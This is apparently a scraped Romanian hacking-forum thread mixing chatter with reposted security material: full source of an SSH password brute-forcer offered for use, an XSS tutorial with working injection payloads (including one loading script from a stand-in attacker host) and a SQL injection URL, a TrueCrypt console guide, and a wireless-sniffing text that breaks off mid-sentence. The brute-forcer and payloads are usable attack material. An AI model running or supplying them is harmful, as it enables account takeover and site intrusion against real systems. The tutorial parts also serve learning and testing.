Nytro

Eu ascult manele. Daca faci o versiune pentru Linux poate o sa o folosesc

E luat de pe Backtrack. #!/usr/bin/python import thread import time from threading import Thread import sys, os,threading, time, traceback, getopt import paramiko import terminal global adx global port adx="1" port=22 data=[] i=[] term = terminal.TerminalController() paramiko.util.log_to_file('demo.log') print "\n*************************************" print "*"+term.RED + "SSH Bruteforcer Ver. 0.2"+term.NORMAL+" *" print "*Coded by Christian Martorella *" print "*Edge-Security Research *" print "*laramies@gmail.com *" print "*************************************\n" def usage(): print "Usage: brutessh.py options \n" print " -h: destination host\n" print " -u: username to force\n" print " -d: password file \n" print " -t: threads (default 12, more could be bad)\n\n" print "Example: brutessh.py -h 192.168.1.55 -u root -d mypasswordlist.txt \n" sys.exit() class force(Thread): def __init__( self, name ): Thread.__init__(self) self.name = name def run(self): global adx if adx == "1": passw=self.name.split("\n")[0] t = paramiko.Transport(hostname) try: t.start_client() except Exception: x = 0 try: t.auth_password(username=username,password=passw) except Exception: x = 0 if t.is_authenticated(): print term.DOWN + term.GREEN + "\nAuth OK ---> Password Found: " + passw + term.DOWN + term.NORMAL t.close() adx = "0" else: print term.BOL + term.UP + term.CLEAR_EOL + passw + term.NORMAL t.close() time.sleep(0) i[0]=i[0]-1 def test_thread(names): i.append(0) j=0 while len(names): try: if i[0]<th: n = names.pop(0) i[0]=i[0]+1 thread=force(n) thread.start() j=j+1 except KeyboardInterrupt: print "Attack suspended by user..\n" sys.exit() thread.join() def test(argv): global th global hostname global username th = 12 if len(sys.argv) < 3: usage() try : opts, args = getopt.getopt(argv,"h:u:d:t:") except getopt.GetoptError: usage() for opt,arg in opts : if opt == '-u': username = arg elif opt == '-h': hostname =arg elif opt == '-d': password = arg elif opt == "-t": th = arg try: f = open(password, "r") except: print "Can't open password file\n" sys.exit() print term.RED + "HOST: " +term.NORMAL + hostname + term.RED + " Username: " +term.NORMAL + username +term.RED + " Password file: " +term.NORMAL+ password print "===========================================================================" print "Trying password...\n" name = f.readlines() starttime = time.clock() test_thread(name) stoptime = time.clock() print "\nTimes -- > Init: "+ str(starttime) + " End: "+str(stoptime) print "\n" if __name__ == "__main__": try: test(sys.argv[1:]) except KeyboardInterrupt: print "Attack suspended by user...\n" sys.exit() Va descurcati. Daca nu sunteti in stare sa il folositi nici pe asta, lasati-va de astfel de prostii. (@ "hackerii de carton")

Ba, nu dai de beut? La multzani. :->

OSSTMM - Open Source Security Testing Methodology Manual The Open Source Security Testing Methodology Manual (OSSTMM) is a peer-reviewed methodology for performing security tests and metrics. The OSSTMM test cases are divided into five channels (sections) which collectively test: information and data controls, personnel security awareness levels, fraud and social engineering control levels, computer and telecommunications networks, wireless devices, mobile devices, physical security access controls, security processes, and physical locations such as buildings, perimeters, and military bases. The OSSTMM focuses on the technical details of exactly which items need to be tested, what to do before, during, and after a security test, and how to measure the results. New tests for international best practices, laws, regulations, and ethical concerns are regularly added and updated. Provided here is the latest public release. To receive OSSTMM development status, notes, and betas, become part of the team. Subscribe now to join the ISECOM Gold or Silver Team or contact us with how you can help OSSTMM development and earn a place on the core development team. Sursa: ISECOM - Making Sense of Security Download: http://www.isecom.org/mirror/OSSTMM.3.pdf

Rugaminte: nu ii mai raspundeti la intrebari lu Krisler12™. Pune cu sutele si degeaba, ca sa se afle si el in treaba.

Programul nu stie sa faca redirect. Redirectul poate fi naspa, de la un simplu header HTTP la un naspet cod JavaScript. Pui link-ul catre care trimite link-ul de adf.ly.

Ban. Cine urmeaza?

Un topic de nota 10. Ban osyk.

Ierarhia CPU-urilor desktop multi core Ati avut nevoie sa va luati un procesor nou, si nu stiati in bugetul vostru care model este mai performant? Ati avut nevoie de un upgrade, dar la cat de des se schimba denumirile in ultimul timp nu ati mai stiut de unde sa incepeti? Acum putem lamuri impreuna situatia, cu ajutorul tabelului de mai jos, ce incearca sa ordoneze descrescator dupa performanta toate procesoarele desktop multi core. El a fost realizat pe baza testelor de la BeHardware, la care s-au adaugat extrapolari personale, experienta proprie, si variate review-uri din imensitatea Internet-ului. Nu am luat in considerare CPU-urile single core, pentru ca acestea sunt depasite in ziua de azi, rare in oferte, si nu ar mai trebui sa mai fie pe lista de cumparaturi a niciunuia dintre noi! Daca am omis vre-un model, sau unele CPU-uri nu sunt corect pozitionate, nu ezitati sa-mi spuneti (argumentat). Totodata, prin includerea a cat mai multor caracteristici, am incercat sa transpun o imagine de ansamblu a intregii lumi a procesoarelor multi core, ce permite o diferentiere cat mai corecta a multiplelor arhitecturi existente. Pretul nu a fost luat in calcul la realizarea acestui top, pentru ca este o caracteristica mult prea volatila pentru a putea fi evaluata in mod constant. Ierarhia o gasiti aici: Ierarhia CPU-urilor desktop multi core | Arena IT

Doar aici pe RST am o parola al dracu de naspa, in rest nu sunt cine stie ce, nu imi pasa daca o ghiceste cineva. Deci nu cred ca are rost sa folosesc parole dinamice sau foarte lungi.

Mie imi place

Deplasarea tuturor bitilor acelui numar scris in hexazecimal cu 2 pozitii catre dreapta. Cu alte cuvinte, acel numar impartit la 4 (2 la puterea 2). Cel putin asa banuiesc, nu stiu despre ce e vorba in acel concurs.

XSS Tutorial - From Bug to Vulnerability First Revision [updated] - 2010 (no actual attack code is provided in this article) ___ -:: Introduction ::- ____________ What is XSS and what does it refer to? XSS aka Cross Site Scripting is a client-side attack where an attacker creates a malicious link, containing script- code which is then executed within the victim's browser. The script-code can be any language supported by the browser but mostly HTML and Javascript is used along with embedded Flash, Java or ActiveX. What can Cross Site Scripting be used for? Cross Site Scripting can be used for a variety of things, such as session-hijacking, browser attacks, phishing, propaganda and even worms! However it still requires the victim to click a malicious link created by the attacker or visit a malicious page that the attacker controls. How could One get a victim to click a XSS-link? The easiest way to get people to click malicious links is to make them look authentic and non- malicious. Giving them a reason afterwards is the social-engineering part which should be easy except if the victim is aware of such attacks and / or has measures against Cross Site Scripting, such as NoScript. How does One avoid XSS-links looking suspicious? This is typically done with encoding, short url services, redirects and even flash! Which types of Cross Site Scripting are there? The most common types are GET- and POST-based XSS. However Cross Site Scripting can also be triggered via cookies. Persistent and non-persistent XSS are defined by wether the script will remain and execute directly on the site (if f.ex. html or sql injection are used) or if the chosen script will have to be called with a malicious url each time it has to be executed. (non-persistent) What is the difference between GET- and POST-XSS? The difference is that when GET-variables is used it is possible to conduct normal XSS attacks where an attacker sends a malicious crafted URL to the victim which is then executed when the victim opens the link in the browser. With POST-variables an attacker could f.ex. use flash to send the victim to the POST-XSS vulnerable site since it is not possible to create an URL when POST-variables are in use. Are there sub-categories of Cross Site Scripting? At the moment there's XSSR and XSSQLI. One could say that XSRF/CSRF belongs to the same category, however the attack method differs too much from traditional Cross Site Scripting. XSSR or CSSR aka Cross Site Script Redirection is used to redirect a victim to another page unwillingly. The page can for example contain a phishing template, browser attack code or in some cases where the data or javascript URI scheme is used: session-hijacking. XSSQLI is a mix of Cross Site Scripting and SQL Injection, where an unknowing victim clicks a malicious link containing SQL Injection instructions for an area in the website which requires privileges that guests or members doesn't have. XSRF or CSRF (sometimes refered to as C-Surf) stands for Cross Site Request Forgery which is used to send input from a 3rd party site to the target site. XSRF can in some cases be triggered just by viewing a specially crafted image but the most commonly used are URLs. With Cross Site Request Forgery it might be possible to f.ex. alter the password of the victim if the target site is not secured properly with tokens etc. What is XST and can it be used for anything? XST also known as Cross Site (Script) Tracing is a way of abusing the HTTP Trace (Debug) protocol. Anything that an attacker sends to a web-server that has TRACE enabled will send the same answer back. If an attacker sends the following: TRACE / HTTP/1.0 Host: target.tld Custom-header: <script>alert(0)</script> Then the attacker will receive the same "Custom-header: <scr..." back allowing script execution. However after recent browser updates the following year(s) XST has been increasingly harder to control and execute properly. How is it possible to find XSS bugs within websites? There are 2 methods: code / script auditing or fuzzing which is described below. What kind of tools is required to find XSS bugs? (REQ = Required, OPT = Optional) - REQ: An Internet Browser (such as FireFox) in case you're fuzzing. - REQ: A text-viewer (such as notepad) in case you're auditing. - OPT: An intercepting proxy in case you're doing more advanced XSS. (In FireFox it is possible to use Tamper Data). - OPT: Browser Addons, for FireFox the following are especially useful: Firebug, JSView and LiveHTTP Headers. What else is useful to know if One wants to find XSS bugs? - Browser limitations regarding Cross Site Scripting [1] - HTTP Headers and how the HTTP protocol works. - HTML + Javascript and perhaps embedded script attacks. (flash etc.) - Intercepting proxies (Burp etc.), differential tools (meld, ExamDiff, etc.) - Useful browser-addons (see FireCat [3]) - Website scanners (Nikto, W3AF, Grendel, Directory-fuzzers etc.) Where are XSS-bugs typically located? It is usually located in user submitted input either via GET or POST variables, where it is reflected on the target site as text outside tags, inside tag values or within javascript. It can also in some cases be submitted via cookies, http headers or in rare cases file uploads. How does One protect a site against XSS? The best way is to ensure that all user input and output is validated properly. However in some cases an IPS or WAF can also protect against XSS though the best way is still to validate the user-input and -output properly. ___ -:: Finding the Bug - With Fuzzing ::- ____________ [EASY] Example Case - A: We're at hxxp://buggysite.tld where we see a "Search-field" in the top-right. Since we don't know the real source code but only the HTML-output of the site we will have to fuzz anything where it is possible to submit data. In some cases the data will be reflected on the site and in some cases it wont. If it doesn't we move on to the next cookie, header, get / post variable or whatever it is that we are fuzzing. The most effective way to fuzz is not to write: <script>alert(0)</script> since many sites has different precautions against Cross Site Scripting. Instead we create a custom string which in most cases wont trigger anything that might alter the output of the site or render error pages that aren't vulnerable. An example of an effective string could be: "keyword'/\>< " ' /\ > and < are the most commonly used html characters used in Cross Site Scripting. However if we want to be really thorough then we could also add )(][}{% to the string that we are using to fuzz the target site. The reason why there's not two of " or ' is because this can trigger a WAF, IPS or whatever precaution the site might have tried to implement against XSS instead of using a secure coding scheme /plan / development cycle. The reason why all characters are written as >< instead of <> is because this is a common bypass against XSS-filters! With that in mind, we use the following string: "haxxor'/\>< to fuzz the search-field: Lets take a look at the returned HTML-code: ... <input type="text" name="search" value=""haxxor'/\><" /> <br /> You searched for \"haxxor\'/\\>< which returned no results. ... As we can see the input tag encoded our fuzzing string correct, however the text afterwards did not encode it properly as it only added slashes which is completely useless against Cross Site Scripting in this case. By submitting the following string we can XSS their website: <script>alert(0)</script> or perhaps <script src=hxxp://h4x0r.tld/xss.js></script> Of course we don't know if the following characters : ( ) and . are filtered but in most cases they work. Our final XSS-url could be: hxxp://buggysite.tld/search.php?query=<script>alert(0)</script> if GET-variables are used. [EASY] Example Case - B: We're at hxxp://yetanothersite.tld where we see another search formular. The following is returned after our string is submitted to the search field: ... <input type="text" name="search" value="\"haxxor\'/\\><" /> <br /> You searched for "haxxor'/\>< which returned no results. ... In this case the string after the tag encoded the string properly, however the string inside the tag only had some slashes added which does nothing in this case. Basically we can bypass this easily with: "><script>alert(0)</script> If we're going to load external javascript we will have to avoid using " and ' of course. Our final XSS-url could be: hxxp://yetanothersite.tld/search.php?query="><script>alert(0)</script> if GET-variables are used. [MODERATE] Example Case - C: We're at hxxp://prettysecure.tld where we find yet another search field, it's time to submit our fuzzing string. The following HTML-code is returned after our string is submitted: ... <input type="text" name="search" value=""haxxor'/\><"> You searched for ""haxxor'/\><" which returned no results. ... (further down) <script> ... s.prop1="prettysecure"; s.prop2="\"haxxor%39/\%3E%3C"; s.prop3="adspace"; ... </script> For most people this might look secure but it really isn't. A lot of people also overlooks potential Cross Site Scripting vectors if their string <script>alert(0)</script> is either not output directly or encoded where they expect the XSS bug to be. This is why it is important to use a keyword that doesn't exist on the site, such as haxxor or something better. The reason why a keyword is used is because it is searchable almost always, you can call it a XSS-locator. [1] Anyway, back to our example. s.prop2="\"haxxor%39/\%3E%3C"; looks secure but the flaw is that backspace aka \ is not filtered or encoded correct. So if we write: \" it will become \\", which will escape the first \ but not our quote. As you can see, we can't use tags either so we'll have to do something else. We have of course checked that brackets ( ) are NOT filtered. (in some cases they can be). By entering the following string we are able to create an alert box: \"; alert(0); s.prop500=\" This will become: s.prop2=\\"; alert(0); s.prop500=\\" when we submit the string. The reason why we add the s.prop500=\" variable to our string is because the javascript will most likely NOT execute if we don't. We could also use comments so instead of s.prop500=\" we just use // in the end of the string. In this case it is also possible to execute external javascript if One uses a bit more advanced javascript. In order to do this we can use document.write(String.fromCharCode()); where you will need a decimal converter. Our final XSS-url could be: hxxp://prettysecure.tld/search.php?query=\"; alert(0); s.prop500=\" ___ -:: Finding the Bug - With Auditing ::- ____________ [EASY] Example Case - A: The following file (index.php) has some interesting code: ... if($_GET['view_profile']==1) { echo $_GET['name']; ... (more code) } ... By looking at the above code we can see that if view_profile is equal to 1 then the script prints the "name" variable. An example attack URL could look like: hxxp://testz.tld/index.php?view_profile=1&name=<script>alert(0)</script> [HARD] Example Case - B: The following file (search.php) has some interesting code: ... if($_GET['set_flag']==1) { $var = "checked"; } echo "<input type='radio' value='flag' checked='" .htmlentities($var). "' />"; ... This is a conditional vulnerability where register_globals in php.ini has to be set to On. (Off is factory default). Register_Globals basically allows an individual to set variables on the fly, even if they are not meant to be set. This only applies to variables that are NOT set as in the example above. Another problem we have encountered is htmlentities however due to a coding error we can still abuse the tag without creating a new. We will need to use event handlers in the <input> tag and some CSS (Cascading Style Sheet) to make sure that the victim triggers the eventhandler no matter what. There's multiple ways of doing that, one of them is: style='display:block;width:99999px;height:99999px;' An eventhandler that we could use in this case could be onmouseover, even though onblur might be better. You might ask yourself, why is the above script not secure? Because htmlentities() used that way is insecure, due to that the tag looks like this in html form: <input type='radio' value='flag' checked='$var' /> Inside the checked value our variable ($var) is encoded, but only " > and < are encoded, not ' due to ENT_QUOTES were not set in the htmlentities function. This means that we can break out of checked='' easily. An example attack URL could be: hxxp://was-secure.tld/search.php?test=' style='display:block;width:99999px;height:99999px; ' onmouseover='alert(0) There is no "Example Case - C" since I have gone through most the important of Cross Site Scripting. ___ -:: Additional Information ::- ____________ XSSR When it is possible to send a user to the data or javascript URI scheme either via A) GET- or POST-variables or User submitted content such as a link then the XSSR category applies to the bug. However some individuals has claimed that a site that only accepts HTTP or HTTPS links via GET-variables also falls under the XSSR category. An example of XSSR could be: hxxp://somesite.tld/redirect.php?link=data:text/html,<script>alert(0)</script> And if the Javascript URI scheme is used: hxxp://somesite.tld/redirect.php?link=java script:alert(0); This has in some cases been known to leak cookies and is therefore used in session-hijacking. XSSQLI When a SQL Injection vulnerability exists within a privileged area of the target site, XSSQLI becomes usable. An example of XSSQLI could be tricking the administrator of "shouldbescure.tld" to click either the SQL Injection link or click a Cross Site Scripting link which contains a call to the SQL Injection in the privileged area of the site where this could be the vulnerable part: hxxp://shouldbesecure.tld/admin.php?del=1 AND 1=1/* XSRF Also known as CSRF and C-Surf can be used against sites that doesn't use tokens which are usually hidden inside tags. A common way to use tokens against C-Surf attacks is to hide them inside tags like: <input type="hidden" name="anti-csrf" value="random token value" /> If the tokens are not random enough it might be possible to calculate these and still use C-Surf in an attack. All of the best, MaXe - Founder of InterN0T References: [1] XSS (Cross Site Scripting) Cheat Sheet [2] http://en.wikipedia....-site_scripting [3] FireCAT 1.5 : Firefox Catalog of Auditing exTensions Sursa: XSS Tutorial - From Bug to Vulnerability - r00tsecurity

Truecrypt's Guide Contents * Introduction * What's Truecrypt and what are its advantages * Things to know before to try * Using truecrypt * Common Problems * Conclusion Introduction This is just a little guide about using truecrypt, I'm writing it because this great tool have been mentioned several times in r00tsec but there's no guide to use it yet. Many sites don't have a truecrypt guide because it use is fairly easy, however, every guide (including the Official Beginner's Manual) is about truecrypt's GUI which work in the interactive mode, this is why this guide is about using truecrypt from the console and will be a Linux based guide. If you're like me, then you'll find every possible time to use some console command instead of using a GUI, so for you is this guide. Isn't perfect, isn't the greatest, but I'll do my best to cover the things that create more confusion about the tool, also, will be (or try to) easy to follow for those who are using the tool for the first time and those who already know the tool. For convenience, I will be using several concepts to define different things, by "virtual volumes" I'll be meaning every group of clusters (random space in a hardrive or a hardrive partition), by "real volumes" I'll be meaning hardrives or partitions and by "removable volumes" I'll be referring to every removable device (like usb hardrives). What's Truecrypt and what are its advantages Truecrypt its an opensource tool build with privacy on mind. Its also referred as hard-disk encryption software, as of today, portable in most of the mayor systems. It works by encrypting the data 'on-the-fly', this means that, if I open a music file that is saved on a encrypted volume, this file will be decrypted in the RAM memory system while the data is asked by the music player, when saving the data, all the encrypting is done in the RAM as well while truecrypt reads the file(s) that are being saved in the volume. From paranoids to companies, this is the best tool to use when you want to keep your information private for peeking eyes. If you're looking for a solution to keep your things private this tool will be your best friend for sure! Truecrypt is loved by many because it has many important features and this is a list of them: * Portable: Can be used in several of the mayor operating systems around, Windows, Linux and Mac OSX. * Volume scope: You can encrypt just a portion of disk or disk partition by creating a virtual volume, you can encrypt a partition or hardrive entirely and you can encrypt removable devices. * Several algorithms: At the time of this writing, Truecrypt support three encryption algorithms, AES, Twofish and Serpent. * Cascades: Related with the avobe, one of the best things to enforce security is that you can use two or three algorithms at the same time, this is what is called cascades which are: AES-Twofish, AES-Twofish-Serpent, Serpent-AES, Serpent-Twofish-AES and Twofish-Serpent. * Several hashes: Besides algorithms, truecrypt uses hashes to create random values from password and key files, at the time of this writing there are only three hashes available, SHA-1, RIPEMD-160 and Whirlpool. * Passwords and key files: Truecrypt is flexible in the way that you can use only passwords to protect the encrypted volume or you can use passwords and key files. The key files are used as random data that is sourced and implemented while creating the hashes, the great thing is that any kind of file and even entire directories can be used as key file, meaing that you can use a mp3 file or a video avi file as key file. * Interfaces: The tool can be used through a GUI (Graphical User Interface) or from the console which offer wider portability. * Interactive use: For those who are starting to use the tool, this is the best. The interactive mode is used by truecrypt when there are no parameters passed to the initial command, this means that truecrypt will ask the user for every piece of information neede in order to create an encrypted volume thus avoiding errors that can be created by new users. * Two kind of volumes: There are normal volumes and hidden volumes. At the beginning, every volume is a normal one, hidden volumes are created inside of normal volumes as a way to improve the privacy of the data. * Plausible deniability: Related to the previous, this is by far one of the greatest advantage of this tool. Basically, since every truecrypt volume, unless decrypted, is showing as random data, it's almost impossible to know that such truecrypt volume exists, besides that, if the normal volume is expose (someone forces to give the access password), it's impossible to know that there's a hidden volume in it thus the information saved in that hidden volume. You can deny that there are alot of advantages in the tool, and the best of all, is free Things to know before to try When it comes to Linux systems, you need to have specifics kernel support in order "to use" truecrypt volumes, not to create them, just to use them. Also, the specific support you'll need depends on truecrypt's version you're using. Right now there are two mayor versions of the tool being used, the 4.3a and the 5.1a, this two have at least one very important difference regarding to linux support, the 4.3a uses device mapper while the 5.1a use FUSE (Userspace driver). Also, no matter what version of truecrypt you are using, you need to have the loop device support in the kernel. So the first thing you'll need to check before start using truecrypt is that you have kernel support (activate them as modules or built-in accordingly to the truecrypt version you use): Device Drivers --> Multiple devices drivers support (RAID and LVM) --> Device mapper support File systems --> Filesystem in Userspace support Device Drivers --> Block Devices --> Loopback device support Using truecrypt If you're starting to use this tool you need to understand at least how to encrypt what you need to encrypt, and to this, you need to understand that there are different scopes and kinds of volumes. Virtual volumes: Lets say you have a linux partition in /dev/sda4 and this partition have 20GB of space. Now, virtual volumes are just a portion that can be reserved from a partition (or a hardrive if don't have any partitions), basically, is just a file with a fixed lenght that you create on a partition or hardrive. In /dev/sda4 a virtual volume could be one single file called private and be about 5GB of space, in turns, you have /dev/sda4 as a partition of 20GB with a file of 5GB. I call them virtual volumes because every truecrypt volume needs to be mounted and worked as if it was a single disk, so, even when it's actually just a file, it needs to be treated as if it was a real disk on your system. Real volumes: Remember, as I said in the introduction, I'm using this terms as convenience so you can easily understand the way it all works, in the case of real volumes, I mean every partition or entire hardrive that's going to be encrypted. For instance, lets take the avobe example, you have a partition called /dev/sda4 and is about 20GB of space; You can encrypt the partition entirely, not just create a file on it, in the same way, if you have only one disk with no partitions at all, you can encrypt it completely. Those can be real volumes. Removable volumes: This are just any kind of removable device where you can save data, like USB Hardrive, flashdrives and such. Every truecrypt volume needs a path (like /media/sda4/private) which is going to be mapped then to a device in /dev, if it's a virtual volume, it will be mapped to /dev/mapper/truecryptN, this path is where the truecrypt volume is and is importand (demanded) to indicate it in order to create the volume. To use the volume, besides a known path, is need a mount point (like /mnt/something or /media/data), this is only used once the truecrypt volume have been created and mapped to device in /dev, this mount point is where you actually are going to save or access the data that is in the truecrypt volume, no worries if you don't catch this yet, you'll understand it later As I said before, this guide is about using truecrypt from the console in Linux systems, for a guide about the use with the graphical interface please refer to the Official user's guide: TrueCrypt - Free Open-Source Disk Encryption Software - Documentation - Tutorial 1/5 From the command line, truecrypt has many parameters that can be used to create your volumes, I won't cover every possible use of those parameters so you can check all the options avialable issuing the command: root@root [~]# truecrypt --help However, if you've been following me so far, you should remember that I talked about the interactive mode in the advantages of truecrypt section. The great thing about this mode of operation is that you don't really need to know any other parameter in order to create a truecrypt volume, from the command line, the interactive mode is called like this: root@root [~]# truecrypt --interactive In this mode, the program will ask you everything that it needs to know to create a volume, the volume path, a password, a hash, a key file (optional), and other important stuff. This mode however can be called by truecrypt itself if the user issued some parameters but not every required to create the volume, for instance, lets say we create a volume called mystuff with the password uid0R00tS3c, the command could be something like this: root@root [~]# truecrypt --password uid0R00tS3c --create /media/hda3/private The thing with the above command is that it lacks of other important information, for example, the hash that should be used for the password, in this case, truecrypt will notice that not all the need parameters have been issued from the beginning so it will start to ask the user for all the missing data. Moving on, using truecrypt is incredible easy, mostly thanks to the interactive mode. Starting from here, I'll be issuing several ways about how to use the tool to fit better your needs, feel free to ask or add whatever you think will improve this guide. For convenience, I'll be using two example disks, one is a partition /dev/hda2 that is mounted on /media/data, and the other will be an entire disk /dev/sda1 that will be mounted on /media/mydisk Create a volume called 'private' on /dev/hda2: root@root [~]# truecrypt --create /media/data/private Create a volume called 'private' using the password R00tS3c: root@root [~]# truecrypt --password R00tS3c --create /media/data/private Create a volume called 'private' using password and the algorithm Twofish: root@root [~]# truecrypt --password R00tS3c --encryption Twofish --create /media/data/private Create a volume called 'private' with a blank password but using a key file: root@root [~]# truecrypt --password '' --keyfile /home/rootsec/logo.jpg --create /media/data/private Create a volume called 'private' with password, using cascade encryption and a directory as key file: root@root [~]# truecrypt --password R00tS3c --keyfile /home/rootsec/documents --encryption AES-Twofish-Serpent --create /media/data/private Create a volume called 'private' with password, key file, cascade and hash: root@root [~]# truecrypt --password R00tS3c --keyfile /home/rootsec/mymovie.mpg --encryption Twofish-Serpent --hash SHA-1 --create /media/data/private Create a key file called 'useme' using RIPEMD-160 hash root@root [~]# truecrypt --keyfile-create --hash RIPEMD-160 /home/rootsec/useme Add a key file to an existent volume called 'private': root@root [~]# truecrypt --keyfile-add --change /home/rootsec/useme /media/data/private Create a volume with an specific filesystem: root@root [~]# truecrypt --filesystem ext3 --create /media/data/private Create a volumen called 'private' with password and using a file as random generator instead of a hash: root@root [~]# truecrypt --password R00tS3c --random-source /home/rootsec/drums.mp3 --create /media/data/private Mount a volume called 'private' in /media/mystuff/: root@root [~]# truecrypt /media/data/private /media/mystuff Pass specific options to mount: root@root [~]# truecrypt --mount-options ro /media/data/private /media/mystuff The above will mount the truecrypt volume 'private' on /media/mystuff as read only Create a volume with fixed space: root@root [~]# truecrypt --size 200MB --create /media/data/private The size can be used in KB, MB or GB, always put any of this, just putting the number will return an error. Create a hidden volume: root@root [~]# truecrypt --create /media/mydisk root@root [~]# truecrypt --type hidden --size 2GB --create /media/mydisk As I said before, hidden volumes are created inside normal volumes, this is way we need to create a normal value before. In this case (and if you remember) /media/mydisk is where the example /dev/sda1 disk is mounted, suppose that this disk is about 100GB, therefore, what we're doing here is create a hidden volume of 2GB inside that disk of 100GB. Every truecrypt volume is mapped to /dev/mapper/truecryptN where 'N' is a number starting from 0 and assigned by avialability, lets say that you create one truecrypt volume, then it'll be mapped to /dev/mapper/truecrypt0, then you create another one, this will be mapped to /dev/mapper/truecrypt1, then you create another that will be mapped to /dev/mapper/truecrypt2 and so on. You can change this numbers for other if you like to avoid the automatic mapping. This is usefull when you have several truecrypt volumes and you need to know which is what: root@root [~]# truecrypt --device-number 10 --create /media/data/private This will map the truecrypt volume to /dev/mapper/truecrypt10 Change a volume: Imagine that you create the volume private with an space of 10GB but know you see that you don't need it to be so big, so lets change that: root@root [~]# truecrypt --size 5GB --change /media/data/private When you're doing this, you don't need to specify the older values, just the new ones, so if we want to change the password will use: root@root [~]# truecrypt --password R00tS3c2 --change /media/data/private List all mapped (thus mounted) truecrypt volumes: root@root [~]# truecrypt --list Unmount a truecrypt volume: root@root [~]# truecrypt --dismount /media/data/private Unmount all truecrypt volumes at once: root@root [~]# truecrypt --dismount Check the description of a volume: root@root [~]# truecrypt --properties /media/data/private Remove a truecrypt volume: If it's a virtual volume, all you need to do is erase the file, for instance, if I wanted to remove the 'private' volume created from previous examples, I'll use: root@root [~]# rm /media/data/private If you encrypted an entire partition or disk and you don't want it encrypted anymore, the only thing you can do is format. Finally, if you want to save or access data in a truecrypt volume, all you have to do is mount it and save the data to the mount point, for instance, if I created the volume 'private' and mounted it in /media/mystuff, all I need to do in order to save my information in the encrypted volume is to copy (or move) the data to /media/mystuff. Common problems There are several common problems while using truecrypt but most of them are related to the lack of kernel support, but for a matter of completeness, this are the most common errors: - Mount Failed: Yeah, this is all you'll see while trying to mount the volume This error is caused because device mapper support or FUSE (depending on truecrypt's version used) isn't active. -Wrong FS: So, you're going to mount the volume and it shows: mount: wrong fs type, bad option, bad superblock on /dev/mapper/truecrypt0, missing codepage or other error In some cases useful info is found in syslog - try dmesg | tail or so When creating volumes (unless it's used the --filesystem option), truecrypt create those volumes using 'auto' filesystem which, for linux porpuses doesn't work for nothing, so, in order to avoid this error you'll need to create a filesystem in the volume like this: root@root [~]# truecrypt --device-number 20 /media/data/private /media/mystuff && mkreiserfs /dev/mapper/truecrypt20 To actually create a file system on the truecrypt device, first its need to be mapped, that's why you need to mount it first and instally after create the file system you want, I used reiserfs but you can use whatever you like. The '--device-number' option is optional, I used becuase is better if you want to control what device you're going to format. -No free loopback device available: This error is because the lack of loop device support in the kernel (Device Drivers --> Block Devices --> Loopback support). Conclusion So we've come to the end of this guide, I hope you liked, I try to be the more specific I could and try to reach those who knows the toold and those who don't, however, this is not an strict guide, meaning that you can discuss, share, provide more examples of use or anything you like Regards Sursa: Truecrypt's Guide - r00tsecurity

Wireless Network Sniffing Sniffing is eavesdropping on the network. A (packet) sniffer is a program that intercepts and decodes network traffic broadcast through a medium. Sniffing is the act by a machine S of making copies of a network packet sent by machine A intended to be received by machine B. Such sniffing, strictly speaking, is not a TCP/IP problem, but it is enabled by the choice of broadcast media, Ethernet and 802.11, as the physical and data link layers. Sniffing has long been a reconnaissance technique used in wired networks. Attackers sniff the frames necessary to enable the exploits described in later sections. Sniffing is the underlying technique used in tools that monitor the health of a network. Sniffing can also help find the easy kill as in scanning for open access points that allow anyone to connect, or capturing the passwords used in a connection session that does not even use WEP, or in telnet, rlogin and ftp connections. It is easier to sniff wireless networks than wired ones. It is easy to sniff the wireless traffic of a building by setting shop in a car parked in a lot as far away as a mile, or while driving around the block. In a wired network, the attacker must find a way to install a sniffer on one or more of the hosts in the targeted subnet. Depending on the equipment used in a LAN, a sniffer needs to be run either on the victim machine whose traffic is of interest or on some other host in the same subnet as the victim. An attacker at large on the Internet has other techniques that make it possible to install a sniffer remotely on the victim machine. Passive Scanning Scanning is the act of sniffing by tuning to various radio channels of the devices. A passive network scanner instructs the wireless card to listen to each channel for a few messages. This does not reveal the presence of the scanner. An attacker can passively scan without transmitting at all. Several modes of a station permit this. There is a mode called RF monitor mode that allows every frame appearing on a channel to be copied as the radio of the station tunes to various channels. This is analogous to placing a wired Ethernet card in promiscuous mode. This mode is not enabled by default. Some wireless cards on the market today have disabled this feature in the default firmware. One can buy wireless cards whose firmware and corresponding driver software together permit reading of all raw 802.11 frames. A station in monitor mode can capture packets without associating with an AP or ad-hoc network. The so-called promiscuous mode allows the capture of all wireless packets of an associated network. In this mode, packets cannot be read until authentication and association are completed. An example sniffer is Kismet (Kismet). An example wireless card that permits RF monitor modes is Cisco Aironet AIR-PCM342. Detection of SSID The attacker can discover the SSID of a network usually by passive scanning because the SSID occurs in the following frame types: Beacon, Probe Requests, Probe Responses, Association Requests, and Reassociation Requests. Recall that management frames are always in the clear, even when WEP is enabled. On a number of APs, it is possible to configure so that the SSID transmitted in the Beacon frames is masked, or even turn off Beacons altogether. The SSID shown in the Beacon frames is set to null in the hope of making the WLAN invisible unless a client already knows the correct SSID. In such a case, a station wishing to join a WLAN begins the association process by sending Probe Requests since it could not detect any APs via Beacons that match its SSID. If the Beacons are not turned off, and the SSID in them is not set to null, an attacker obtains the SSID included in the Beacon frame by passive scanning. When the Beacon displays a null SSID, there are two possibilities. Eventually, an Associate Request may appear from a legitimate station that already has a correct SSID. To such a request, there will be an Associate Response frame from the AP. Both frames will contain the SSID in the clear, and the attacker sniffs these. If the station wishes to join any available AP, it sends Probe Requests on all channels, and listens for Probe Responses that contain the SSIDs of the APs. The station considers all Probe Responses, just as it would have with the non-empty SSID Beacon frames, to select an AP. Normal association then begins. The attacker waits to sniff these Probe Responses and extract the SSIDs. If Beacon transmission is disabled, the attacker has two choices. The attacker can keep sniffing waiting for a voluntary Associate Request to appear from a legitimate station that already has a correct SSID and sniff the SSID as described above. The attacker can also chose to actively probe by injecting frames that he constructs, and then sniffs the response as described in a later section. When the above methods fail, SSID discovery is done by active scanning Collecting the MAC Addresses The attacker gathers legitimate MAC addresses for use later in constructing spoofed frames. The source and destination MAC addresses are always in the clear in all the frames. There are two reasons why an attacker would collect MAC addresses of stations and APs participating in a wireless network. (1) The attacker wishes to use these values in spoofed frames so that his station or AP is not identified. (2) The targeted AP may be controlling access by filtering out frames with MAC addresses that were not registered. Collecting the Frames for Cracking WEP The goal of an attacker is to discover the WEP shared-secret key. Often, the shared key can be discovered by guesswork based on a certain amount of social engineering regarding the administrator who configures the wireless LAN and all its users. Some client software stores the WEP keys in the operating system registry or initialization scripts. In the following, we assume that the attacker was unsuccessful in obtaining the key in this manner. The 